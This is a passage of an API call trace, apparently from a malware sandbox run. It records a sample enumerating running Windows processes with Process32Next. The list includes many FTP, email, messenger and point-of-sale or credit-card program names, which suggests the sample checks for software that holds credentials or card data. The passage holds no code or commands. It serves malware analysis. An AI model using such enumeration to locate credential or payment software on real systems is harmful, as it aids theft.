th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0289.818] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0289.820] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0289.823] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0289.825] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0289.827] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0289.829] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0289.830] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0289.832] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0289.834] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0289.835] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0289.837] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0289.894] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0289.896] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0289.898] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0289.900] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0289.902] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0289.904] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0289.906] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0289.908] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0289.910] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0289.914] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0289.916] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0289.919] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0289.922] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0289.997] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0289.999] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0290.002] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0290.004] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0290.007] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0290.009] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0290.012] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0290.014] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0290.017] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0290.020] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0290.023] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0290.025] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0290.028] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0290.030] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0290.067] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0290.069] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0290.070] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0290.072] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0290.074] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0290.076] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0290.078] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0290.080] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0290.082] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0290.084] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0290.086] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0290.088] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0290.090] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0290.091] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0290.093] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0290.095] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0290.103] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0290.106] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0290.145] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0290.147] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0290.149] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0290.151] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0290.153] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0290.155] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0290.156] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0290.158] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0290.160] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0290.162] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0290.164] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0290.165] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0290.168] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0290.170] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0290.172] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0290.174] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0290.176] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0290.178] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0290.223] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0290.225] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0290.227] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0290.230] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0290.232] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0290.233] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0290.235] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0290.237] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0290.238] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0290.240] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0290.242] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | 